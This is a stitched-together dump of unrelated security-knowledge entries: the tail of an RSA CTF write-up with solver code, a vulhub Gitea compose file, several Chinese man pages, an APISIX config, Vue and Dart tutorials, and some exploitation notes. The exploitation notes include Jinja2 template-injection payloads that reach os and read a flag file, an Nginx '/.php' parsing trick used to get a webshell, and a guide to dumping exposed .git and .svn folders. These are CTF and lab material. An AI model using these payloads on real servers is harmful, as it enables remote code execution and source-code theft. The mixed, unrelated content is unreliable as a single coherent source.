63112211860889153729003401381621068190906433969243079543438386686621389392583849748240273643614258173423474299387234175508649197780206757067354426424570586101908571600743792328163163458500138799976944702155779196849585083397395750018148652864158388247163109077215394538930498877175474225571393901460434679279 5) FLAG ** 31337 % (p*q) = 6931243291746179589612148118911670244427928875888377273917973305632621316868302667641610838193899081089153471883271406133321321416064760200919958612671379845738048938060512995550639898688604592620908415248701721672948126507753670027043162669545932921683579001870526727737212722417683610956855529996310258030 Now, what’s the FLAG??? ``` 我们的目的基本上就是求得 FLAG,那么怎么做呢?这个题目需要我们具有较好的数论功底。 根据题目中这样的内容,我们可以假设 $p$,$q$ 都是大素数,那么 $p^{q-1} \equiv 1\bmod q$ 那么 $p^{q} \equiv p \bmod pq$ 那么我们可以根据 3)知道 $p^q+q^p \equiv p+q \bmod pq$ 而 $p+q$ 又显然小于 $pq$,所以我们就知道 $p+q$ 的数值。 进一步,我们假设1),2),3),4),5)对应的值分别为 $x_1$, $x_2$, $x_3$, $x_4$, $x_5$ 则 根据4),我们可以知道 $(p+q)^{p+q} \equiv p^{p+q}+q^{p+q} \bmod pq$ 又因为1)和 2),则 $p^pp \equiv px_1\bmod pq$ $q^qq \equiv qx_2 \bmod pq$ 因此 $px_1+qx_2 \equiv x_4 \bmod pq$ 根据 $x_1$ 和 $x_2$ 的求得方式,我们可以知道这里也是等号,因此我们得到了一个二元一次方程组,直接求解即可。 ```python import gmpy2 x1 = 1137973316343089029387365135250835133803975869258714714790597743585251681751361684698632609164883988455302237641489036138661596754239799122081528662395492 x2 = 6901383184477756324584651464895743132603115552606852729050186289748558760692261058141015199261946483809004373728135568483701274908717004197776113227815323 p_q = 16791287391494893024031688699360885996180880807427715700800644759680986120242383930558410147341340225420991368114858791447699399702390358184412301644459406 x4 = 63112211860889153729003401381621068190906433969243079543438386686621389392583849748240273643614258173423474299387234175508649197780206757067354426424570586101908571600743792328163163458500138799976944702155779196849585083397395750018148652864158388247163109077215394538930498877175474225571393901460434679279 if (x4 - x1 * p_q) % (x2 - x1) == 0: print 'True' q = (x4 - x1 * p_q) / (x2 - x1) print q p = p_q - q c = 6931243291746179589612148118911670244427928875888377273917973305632621316868302667641610838193899081089153471883271406133321321416064760200919958612671379845738048938060512995550639898688604592620908415248701721672948126507753670027043162669545932921683579001870526727737212722417683610956855529996310258030 phin = (p - 1) * (q - 1) d = gmpy2.invert(31337, phin) flag = gmpy2.powmod(c, d, p * q) flag = hex(flag)[2:] print flag.decode('hex') ``` flag 如下 ```shell ➜ 2018-国家安全周第一场-puremath git:(master) ✗ python exp.py True 7635093784603905632817000902311635311970645531806863592697496927519352405158721310359124595712780726701027634372170535318453656286180828724079479352052417 flag{6a66b8d5-6047-4299-a48e-4c4d1f874d12} ``` ## 2018 Pwnhub LHY 首先分析这段代码 ```python assert gmpy.is_prime(y)**2016 + gmpy.is_prime(x + 1)**2017 + ( (x**2 - 1)**2 % (2 * x * y - 1) + 2 )**2018 == 30097557298197417800049182668952226601954645169633891463401117760245367082644152355564014438095421962150109895432272944128252155287648477680131934943095113263121691874508742328500559321036238322775864636883202538152031804102118831278605474474352011895348919417742923873371980983336517409056008233804190890418285814476821890492630167665485823056526646050928460488168341721716361299816947722947465808004305806687049198633489997459201469227952552870291934919760829984421958853221330987033580524592596407485826446284220272614663464267135596497185086055090126893989371261962903295313304735911034185619611156742146 ``` 由于 `gmpy.is_prime` 要么返回1,要么返回 0,所以我们可以很容易地试出来 `y` 是素数,`x+1` 也是素数,并且 $(x^2-1)^2\equiv 0 \bmod (2xy-1)$ 为了式子能够整除,猜测 $x=2y$ 。 于是,对于下面的内容 ```python p = gmpy.next_prime(x**3 + y**3) q = gmpy.next_prime(x**2 * y + y**2 * x) n = p * q phi = (p - 1) * (q - 1) d = gmpy.invert(0x10001, phi) enc = pow(bytes_to_long(flag), 0x10001, n) print 'n =', n print 'enc =', enc ``` $p$ 和 $q$ 自然为 $p=next\_prime(9y^3)$ $q=next\_prime(6y^3)$ 根据素数的间隔,可以知道 $p$ 和 $q$ 最多比括号里的数字大一点,这里一般不会超过 $1000$。 那么 $n \geq 54y^6$ 所以我们知道了 $y$ 的上界,而对于 $y$ 的下界其实也不会离上界太远,我们大概减个几十万。进而,我们利用二分查找的方式来寻找 $p$ 和 $q$,如下 ```python import gmpy2 tmp = 30097557298197417800049182668952226601954645169633891463401117760245367082644152355564014438095421962150109895432272944128252155287648477680131934943095113263121691874508742328500559321036238322775864636883202538152031804102118831278605474474352011895348919417742923873371980983336517409056008233804190890418285814476821890492630167665485823056526646050928460488168341721716361299816947722947465808004305806687049198633489997459201469227952552870291934919760829984421958853221330987033580524592596407485826446284220272614663464267135596497185086055090126893989371261962903295313304735911034185619611156742146 print gmpy2.iroot(tmp, 2018) print gmpy2.iroot(tmp - 1, 2018) print gmpy2.iroot(tmp - 2, 2018) n = 260272753019642842691231717156206014402348296256668058656902033827190888150939144319270903947159599144884859205368557385941127216969379550487700198771513118894125094678559478972591331182960004648132846372455712958337042783083099376871113795475285658106058675217077803768944674144803250791799957440111855021945690877200606577646234107957498370758707097662736662439460472126493593605957225541979181422479704018055731221681621886820626215670393536343427267329350730257979042198593215747542270975288047196483958369426727778580292311145109908665004662296440533724591193527886702374790526322791818523938910660223971454070731594803459613066617828657725704376475527288174777197739360634209448477565044519733575375490101670974499385760735451471034271880800081246883157088501597655371430353965493264345172541221268942926210055390568364981514774743693528424196241142665685211916330254113610598390909248626686397970038848966187547231199741 y = 191904757378974300059526915134037747982760255307942501070454569331878491189601823952845623286161325306079772871025816081849039036850918375408172174102720702781463514549851887084613000000L y = gmpy2.next_prime(y) enc = 73933313646416156737449236838459526871566017180178176765840447023088664788672323530940171469589918772272559607026808711216932468486201094786991159096267208480969757088208089800600731106685561375522764783335332964711981392251568543122418192877756299395774738176188452197889668610818741062203831272066261677731889616150485770623945568369493256759711422067551058418926344060504112146971937651406886327429318390247733970549845424064244469193626197360072341969574784310397213033860597822010667926563087858301337091484951760613299203587677078666096526093414014637559237148644939541419075479462431789925219269815364529507771308181435591670281081465439913711912925412078002618729159141400730636976744132429329651487292506365655834202469178066850282850374067239317928012461993443785247524500680257923687511378073703423047348824611101206633407452837948194591695712958510124436821151767823443033286425729473563002691262316964646014201612 end = gmpy2.iroot(n / 54, 6)[0] beg = end - 2000000 mid = 1 while beg < end: mid = (beg + end) / 2 if gmpy2.is_prime(mid) != 1: mid = gmpy2.next_prime(mid) p = gmpy2.next_prime(9 * mid**3) q = gmpy2.next_prime(6 * mid**3) n1 = p * q if n1 == n: print p, q phin = (p - 1) * (q - 1) d = gmpy2.invert(0x10001, phin) m = gmpy2.powmod(enc, d, n) print hex(m)[2:].strip('L').decode('hex') print 'ok' exit(0) elif n1 < n: beg = mid else: end = mid print beg, end ```
sec-knowleage
version: '2' services: web: image: vulhub/gitea:1.4.0 ports: - "3000:3000" - "20022:22"
sec-knowleage
.\" Man page for octave-bug .\" .\" Copyright (C) 1996 - 2000 John W. Eaton .\" .\" This file is part of Octave. .\" .\" Octave is free software; you can redistribute it and/or modify it .\" under the terms of the GNU General Public License as published by the .\" Free Software Foundation; either version 2, or (at your option) any .\" later version. .\" .\" Octave is distributed in the hope that it will be useful, but WITHOUT .\" ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or .\" FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License .\" for more details. .\" .\" You should have received a copy of the GNU General Public License .\" along with Octave; see the file COPYING. If not, write to the Free .\" Software Foundation, 59 Temple Place - Suite 330, Boston, MA .\" 02111-1307, USA. .\" .\" This page was contributed by Dirk Eddelbuettel <edd@debian.org> .\" .TH octave-bug 1 "6 March 2000" GNU .SH NAME octave-bug \- 报告 GNU Octave 中的 bug .SH "SYNOPSIS 总览" .B octave-bug .RB [\| \-s .IR subject \|] .SH "DESCRIPTION 描述" .B octave-bug 是一个 shell 脚本,用于以一种标准的格式撰写有关 Octave 的 bug 报告并发送。 .B octave-bug 通常由 Octave 命令 .B bug_report 启动,这个命令只能在 Octave 内部,以交互方式调用。这种方式是提交 Octave 错误报告的最佳放方式。它创建一个错误报告的空模板文件,并用一个编辑器打开它。编辑完成后,错误报告将被发送到 bug-octave 邮件列表 (这样做的前提是你的系统可以发送邮件)。但是,用户也可以在 Octave 之外使用 \fBoctave-bug\fR 命令。 .PP 请阅读 Octave 手册页中的 `Bugs' 章节,学习如何提交错误报告来使 Octave 的维护者修正问题。如果不能使用 bug_report 命令,就直接将邮件发送到 bug-octave 邮件列表,就是 bug-octave@bevo.che.wisc.edu 。 .SH "OPTIONS 选项" .TP .BI -s\ subject 指定错误报告的主题行。主题中的空格必须被引用。 .SH "ENVIRONMENT VARIABLES 环境变量" .B octave-bug 使用环境变量 .BR USER, .BR EDITOR, 和 .B PAGER 从而定制工具 .SH "VERSION 版本" 本文档最后一次校订与 Octave 2.0.16 同时发布。 .SH "SEE ALSO 参见" .BR octave (1), .BR bashbug (1) .SH AUTHOR .nf John W. Eaton Department of Chemical Engineering University of Wisconsin-Madison Madison, WI 53706 USA <jwe@bevo.che.wisc.edu>
sec-knowleage
# Flaskcards and Freedom Web exploitation, 900 points ## Description: > There seem to be a few more files stored on the flash card server but we can't login. Can you? ## Solution: This challenge linked to a website similar to the one in the [original challenge](Flaskcards.md), and in fact the solution was similar too. ``` Input: {{''.__class__.mro()[1].__subclasses__()[616]()._module.__builtins__.__import__('os').listdir('.')}} Output: ['app', 'xinet_startup.sh', 'server.py', 'flag'] --- Input: {{''.__class__.mro()[1].__subclasses__()[616]()._module.__builtins__['open']('flag').read()}} Output: picoCTF{R_C_E_wont_let_me_be_33c4aa61} ``` The flag: picoCTF{R_C_E_wont_let_me_be_33c4aa61}
sec-knowleage
dhclient === 动态获取或释放IP地址 ## 补充说明 **dhclient命令** 使用动态主机配置协议动态的配置网络接口的网络参数。 ### 语法 ```shell dhclient(选项)(参数) ``` ### 选项 ```shell 0:指定dhcp客户端监听的端口号; -d:总是以前台方式运行程序; -q:安静模式,不打印任何错误的提示信息; -r:释放ip地址。 ``` ### 参数 网络接口:操作的网络接口。 ### 实例 ```shell dhclient -r #释放IP dhclient #获取IP ```
sec-knowleage
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # apisix: node_listen: 9080 # APISIX listening port enable_ipv6: false etcd: host: # it's possible to define multiple etcd hosts addresses of the same etcd cluster. - "http://etcd:2379" # multiple etcd address prefix: "/apisix" # apisix configurations prefix timeout: 30 # 30 seconds
sec-knowleage
# Nginx 解析漏洞复现 Nginx解析漏洞复现。 版本信息: - Nginx 1.x 最新版 - PHP 7.x最新版 由此可知,该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。 直接执行`docker compose up -d`启动容器,无需编译。 访问`http://your-ip/uploadfiles/nginx.png`和`http://your-ip/uploadfiles/nginx.png/.php`即可查看效果。 正常显示: ![image](1.jpg) 增加`/.php`后缀,被解析成PHP文件: ![image](2.jpg) 访问`http://your-ip/index.php`可以测试上传功能,上传代码不存在漏洞,但利用解析漏洞即可getshell: ![image](3.jpg) ![image](4.jpg)
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: linsert.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: linsert.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH linsert 3tcl 8.2 Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME linsert \- 把元素插入到一个列表中 .SH "总览 SYNOPSIS" \fBlinsert \fIlist index element \fR?\fIelement element ...\fR? .BE .SH "描述 DESCRIPTION" .PP 这个命令通过在 \fIlist \fR的第 \fIindex \fR个元素的前面插入所有\fIelement\fR 参数来生成一个新列表。每个 \fIelement\fR 参数变成这个新列表的一个单独的元素。如果 \fIindex\fR 小于等于零,则在这个列表的开始处插入新元素。如果 \fIindex\fR 的值是 \fBend\fR,或大于等于在这个列表中的元素数目,则在这个列表的尾部添加新元素。\fBend\fR-整数 参照在列表中倒数的第指定整数个元素 .SH "参见 SEE ALSO" list(n), lappend(n), llength(n) .SH "关键字 KEYWORDS" element, insert, list .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/09/06 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# Exposed Source Code ## Introduction Source code intended to be kept server-side can sometimes end up being disclosed to users. Such code may contain sensitive information such as database passwords and secret keys, which may help malicious users formulate attacks against the application. ## Where to find `-` ## How to exploit 1. Exposed Git folder ``` https://site.com/.git ``` Tools to dump .git * https://github.com/arthaud/git-dumper 2. Exposed Subversion folder ``` https://site.com/.svn ``` Tools to dump .svn * https://github.com/anantshri/svn-extractor 3. Exposed Mercurial folder ``` https://site.com/.hg ``` Tools to dump .hg * https://github.com/arthaud/hg-dumper 4. Exposed Bazaar folder ``` http://target.com/.bzr ``` Tools to dump .bzr * https://github.com/shpik-kr/bzr_dumper 5. Exposed Darcs folder ``` http://target.com/_darcs ``` Tools to dump _darcs (Not found) 6. Exposed Bitkeeper folder ``` http://target.com/Bitkeeper ``` Tools to dump BitKeeper (Not found) ## Reference * [NakanoSec (my own post)](https://www.nakanosec.com/2020/02/exposed-source-code-pada-website.html)
sec-knowleage
# 博客项目 ### 环境配置 参考第二节:VUE 安装 ``` vue init webpack vuex-demo cd vuex-demo npm install npm run dev ``` ### 结构调整 删除没用的代码 ### 添加路由 利用 vue-router 添加路由 /post 及 post 下的 CommentBox 以及 PostBody ### 使用组件内部数据 在 CommentBox 组件中添加 data 数据 ,利用 {{ comment.text }} 拿到数据 ```js <template> <div class="comment-box"> <ul> <li v-for="comment in comments"> {{ comment.text }} </li> </ul> </div> </template> <script> export default { name: 'comment-box', data: () => ({ comments: [ { text: 'hello git' }, { text: 'hello vuejs' } ] }) } </script> <style scoped> .comment-box { background-color: #fff; box-shadow: 0 1px 2px rgba(0, 0, 0, .5); width: 80%; margin: 30px auto; padding: 20px; line-height: 1.8; } </style> ```
sec-knowleage
.\" 版权所有(c) 1993 Michael Haardt (michael@moria.de), Fri Apr 2 11:32:09 MET DST 1993 .\" .\" 这是免费的文档;你可以遵照自由软件基金会出版的GNU通用出版许可版本2或者更高版本的条例来重新发布和/或修改它. .\" .\" GNU通用出版许可中涉及到的"目标代码(object code)"和"可执行程序(executables)"可解释为任意文档格式化的输出或者排版系统,包括中间的和已输出的结果. .\" .\" 该文档的发布寄望于能够实用,但并不做任何担保;甚至也不提供隐含的商品性的保证或者针对特殊目的适用性.参见GNU通用版权许可以获知更多详情. .\" .\" 你应该接收到与本文档一同发布的GNU通用版权许可的副本;如果没有,请写信到自由软件基金会(Free Software Foundation), Inc., 59 Temple Place, Suite 330, Boston, MA 02111, .\" USA. .\" .\" 于1993年1月25日星期日11:06:27由Rik Faith (faith@cs.unc.edu)修改 .TH SECURETTY 5 "1992 年 12 月 29 日" "Linux" "Linux 程序员手册" .SH NAME (名称) \fB/etc/securetty\fR 由 .BR login (1) 使用,该文件由包含数行 tty 设备名(每行一个设备名,前面不加 .IR /dev/ ) 在这些设备上可以允许 root 登录. .SH FILES(相关文件) /etc/securetty .SH "SEE ALSO"(另见) .BR login (1) .SH "[中文版维护人]" .B riser <boomer@ccidnet.com> .SH "[中文版最新更新]" .B 2000/11/2 .SH "《中国Linux论坛man手册页翻译计划》:" .B http://cmpp.linuxforum.net
sec-knowleage
--- title: Dart date: 2021-11-04 10:12:25 background: bg-[#58aee9] tags: - dart - flutter categories: - Programming intro: | A Dart cheat sheet with the most important concepts, functions, methods, and more. A complete quick reference for beginners. plugins: - copyCode --- Getting Started {.cols-2} ------------ ### hello.dart ```dart // top-level function where app execution starts void main(){ print("Hello World!"); // Print to console } ``` Every app has a main() function ### Variables ```dart int x = 2; // explicitly typed var p = 5; // type inferred - Generic var with type inference dynamic z = 8; // variable can take on any type z = "cool"; // cool // if you never intend to change a variable use final or const. Something like this: final email = "temid@gmail.com"; // Same as var but cannot be reassigned final String email = "temid@gmail.com"; // you can't change the value const qty = 5; // Compile-time constant ``` ### Datatypes ```dart int age = 20; // integers, range -2^63 to 2^63 - 1 double height = 1.85; // floating-point numbers // You can also declare a variable as a num num x = 1; // x can have both int and double values num += 2.5; print(num); //Print: 3.5 String name = "Nicola"; bool isFavourite = true; bool isLoaded = false; ``` ### String interpolation ```dart // can use single or double qoutes for String type var firstName = 'Nicola'; var lastName = "Tesla"; //can embed variables in string with $ String fullName = "$firstName $lastName"; // concatenate with + var name = "Albert " + "Einstein"; String upperCase = '${firstName.toUpperCase()}'; print(upperCase); //Print: NICOLA ``` ### Comments ```dart // This is a normal, one-line comment. /// This is a documentation comment, used to document libraries, /// classes, and their members. Tools like IDEs and dartdoc treat /// doc comments specially. /* Comments like these are also supported. */ ``` ### Imports ```dart // Importing core libraries import 'dart:math'; // Importing libraries from external packages import 'package:test/test.dart'; // Importing files import 'path/to/my_other_file.dart'; ``` Operators {.cols-2} ------------ ### Arithmatic Operators ```dart print(2 + 3); //Print: 5 print(2 - 3); //Print: -1 print(2 * 3); //Print: 6 print(5 / 2); //Print: 2.5 - Result is a double print(5 ~/ 2); //Print: 2 - Result is an int print(5 % 2); //Print: 1 - Remainder int a = 1, b; // Increment b = ++a; // preIncrement - Increment a before b gets its value. b = a++; // postIncrement - Increment a AFTER b gets its value. //Decrement b = --a; // predecrement - Decrement a before b gets its value. b = a--; // postdecrement - Decrement a AFTER b gets its value. ``` ### Equality and relational operators ```dart print(2 == 2); //Print: true - Equal print(2 != 3); //Print: true - Not Equal print(3 > 2); //Print: true - Grater than print(2 < 3); //Print: true - Less than print(3 >= 3); //Print: true - Greater than or equal to print(2 <= 3); //Print: true - Less than or equal to ``` ### Logical operators ```dart // !expr inverts the expression (changes false to true, and vice versa) // || logical OR // && logical AND bool isOutOfStock = false; int quantity = 3; if (!isOutOfStock && (quantity == 2 || quantity == 3)) { // ...Order the product... } ``` Control Flows : Conditionals {.cols-2} ------------ ### if and else if ```dart if(age < 18){ print("Teen"); } else if( age > 18 && age <60){ print("Adult"); } else { print("Old"); } ``` ### switch case ```dart enum Pet {dog, cat} Pet myPet = Pet.dog; switch(myPet){ case Pet.dog: print('My Pet is Dog.'); break; case Pet.cat: print('My Pet is Cat.'); break; default: print('I don\'t have a Pet'); } // Prints: My Pet is Dog. ``` Control Flows : Loops ------------ ### while loop ```dart while (!dreamsAchieved) { workHard(); } ``` while loop check condition before iteration of the loop ### do-while loop ```dart do { workHard(); } while (!dreamsAchieved); ``` do-while loop verifies the condition after the execution of the statements inside the loop ### for loop ```dart for(int i=0; i< 10; i++){ print(i); } var numbers = [1,2,3]; // for-in loop for lists for(var number in numbers){ print(number); } ``` Collections {.cols-2} ------------ ### Lists ```dart // ordered group of objects var list = [1, 2, 3]; print(list.length); //Print: 3 print(list[1]); //Print: 2 // other ways of list declaration and initializations List<String> cities = <String>["New York", "Mumbai", "Tokyo"]; // To create a list that’s a compile-time constant const constantCities = const ["New York", "Mumbai", "Tokyo"]; ``` ### Sets ```dart // A set in Dart is an unordered collection of unique items. var halogens = {'fluorine', 'chlorine', 'bromine', 'iodine', 'astatine'}; // to create an empty set var names = <String>{}; Set<String> names = {}; // This works, too. //var names = {}; // Creates a map, not a set. ``` ### Maps ```dart // a map is an object that associates keys and values var person = Map<String, String>(); // To initialize the map, do this: person['firstName'] = 'Nicola'; person['lastName'] = 'Tesla'; print(person); //Print: {firstName: Nicola, lastName: Tesla} print(person['lastName']); //Print: Tesla var nobleGases = { // Key: Value 2: 'helium', 10: 'neon', 18: 'argon', }; ``` Functions {.cols-2} ------------ ### Functions ```dart // functions in dart are objects and have a type int add(int a, int b){ return a+b; } // functions can be assigned to variables int sum = add(2,3); // returns: 5 // can be passed as arguments to other functions int totalSum = add(2, add(2,3)); // returns : 7 ``` ### Arrow Syntax (=>) ```dart // functions that contain just one expression, you can use a shorthand syntax bool isFav(Product product) => favProductsList.contains(product); ``` ### Anonymous (lambda) functions ```dart // small one line functions that dont have name int add(a,b) => a+b; // lambda functions mostly passed as parameter to other functions const list = ['apples', 'bananas', 'oranges']; list.forEach( (item) => print('${list.indexOf(item)}: $item')); //Prints: 0: apples 1: bananas 2: oranges ``` Classes and Objects ---------- ### Class ```dart class Cat { String name; // method void voice(){ print("Meow"); } } ``` ### Object ```dart // instance of a class // below myCat is Object of class Cat void main(){ Cat myCat = Cat(); myCat.name = "Kitty"; myCat.voice(); // Prints: Meow } ``` ### Constructors ```dart class Cat { String name; Cat(this.name); } void main(){ Cat myCat = Cat("Kitty"); print(myCat.name); // Prints: Kitty } ``` ### Abstract Classes ```dart // abstract class—a class that can’t be instantiated // This class is declared abstract and thus can't be instantiated. abstract class AbstractContainer { // Define constructors, fields, methods... void updateChildren(); // Abstract method. } ``` ### Getters Setters ```dart // provide read and write access to an object’s properties class Cat { String name; // getter String get catName { return name; } // setter void set catName(String name){ this.name = name; } } ``` Implicit interfaces {.cols-2} ------------ ### A basic interface ```dart // A person. The implicit interface contains greet(). class Person { // In the interface, but visible only in this library. final String _name; // Not in the interface, since this is a constructor. Person(this._name); // In the interface. String greet(String who) => 'Hello, $who. I am $_name.'; } // An implementation of the Person interface. class Impostor implements Person { String get _name => ''; String greet(String who) => 'Hi $who. Do you know who I am?'; } String greetBob(Person person) => person.greet('Bob'); void main() { print(greetBob(Person('Kathy'))); // Hello, Bob. I am Kathy. print(greetBob(Impostor())); // Hi Bob. Do you know who I am? } ``` ### Extending a class ```dart class Phone { void use(){ _call(); _sendMessage(); } } // Use extends to create a subclass class SmartPhone extends Phone { void use(){ // use super to refer to the superclass super.use(); _takePhotos(); _playGames(); } } ``` Exceptions ------------ ### Throw ```dart // throws or raises and exception throw IntegerDivisionByZeroException(); // You can also throw arbitrary objects throw "Product out of stock!"; ``` ### Catch ```dart try { int c = 3/0; print(c); } on IntegerDivisionByZeroException { // A specific exception print('Can not divide integer by 0.') } on Exception catch (e) { // Anything else that is an exception print('Unknown exception: $e'); } catch (e) { // No specified type, handles all print('Something really unknown: $e'); } ``` ### Finally ```dart // To ensure that some code runs whether or not an exception is thrown try { cookFood(); } catch (e) { print('Error: $e'); // Handle the exception first. } finally { cleanKitchen(); // Then clean up. } ``` Futures ------------ ### Async Await ```dart // functionswhich are asynchronous: they return after setting up a possibly time-consuming operation // The async and await keywords support asynchronous programming Future<String> login() { String userName="Temidjoy"; return Future.delayed( Duration(seconds: 4), () => userName); } // Asynchronous main() async { print('Authenticating please wait...'); print(await userName()); } ``` Miscellaneous {.cols-2} ------------ ### Null and Null aware ```dart int x; // The initial value of any object is null // ?? null aware operator x ??=6; // ??= assignment operator, which assigns a value of a variable only if that variable is currently null print(x); //Print: 6 x ??=3; print(x); // Print: 6 - result is still 6 print(null ?? 10); // Prints: 10. Display the value on the left if it's not null else return the value on the right ``` ### Ternary Operator ```dart // condition ? exprIfTrue : exprIfFalse bool isAvailable; isAvailable ? orderproduct() : addToFavourite(); ``` ### Spread Operator (...) ```dart // to insert multiple values into a collection. var list = [1, 2, 3]; var list2 = [0, ...list]; print(list2.length); //Print: 4 ``` ### Cascade notation (..) ```dart // allows you to make a sequence of operations on the same object // rather than doing this var user = User(); user.name = "Nicola"; user.email = "nicola@g.c"; user.age = 24; // you can do this var user = User() ..name = "Nicola" ..email = "nicola@g.c" ..age = 24; ``` ### Conditional Property Access ```dart userObject?.userName //The code snippet above is equivalent to following: (userObject != null) ? userObject.userName : null //You can chain multiple uses of ?. together in a single expression userObject?.userName?.toString() // The preceeding code returns null and never calls toString() if either userObject or userObject.userName is null ```
sec-knowleage
